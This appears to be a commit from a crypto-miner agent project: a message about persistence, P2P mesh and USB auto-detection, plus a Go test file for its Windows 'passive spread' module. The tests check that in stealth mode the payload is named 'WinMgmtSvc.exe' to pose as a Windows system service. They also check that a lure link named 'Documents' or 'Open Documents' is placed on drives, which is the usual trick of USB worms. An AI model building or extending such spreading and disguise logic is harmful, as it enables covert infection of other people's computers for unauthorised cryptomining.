Improve portable launch, forge persistence, and operator auth UX.

Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.

agent/deploy/passive_spread_windows_test.go

@@ -0,0 +1,51 @@
+//go:build windows
+
+package deploy
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestSharePayloadName(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		WorkerName:  "worker alpha",
+		StealthMode: false,
+	}}
+	if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
+		t.Fatalf("got %q", got)
+	}
+
+	cfg.StealthMode = true
+	if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
+		t.Fatalf("stealth: got %q", got)
+	}
+}
+
+func TestUsbPayloadNameNonStealth(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		WorkerName:  "sync agent",
+		StealthMode: false,
+	}}
+	if got := usbPayloadName(cfg); got != "sync-agent.exe" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestPickLinkName(t *testing.T) {
+	root := t.TempDir()
+	if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
+		t.Fatal(err)
+	}
+	if got := pickLinkName(root); got != "Documents" {
+		t.Fatalf("got %q want Documents", got)
+	}
+
+	empty := t.TempDir()
+	if got := pickLinkName(empty); got != "Open Documents" {
+		t.Fatalf("empty drive: got %q", got)
+	}
+}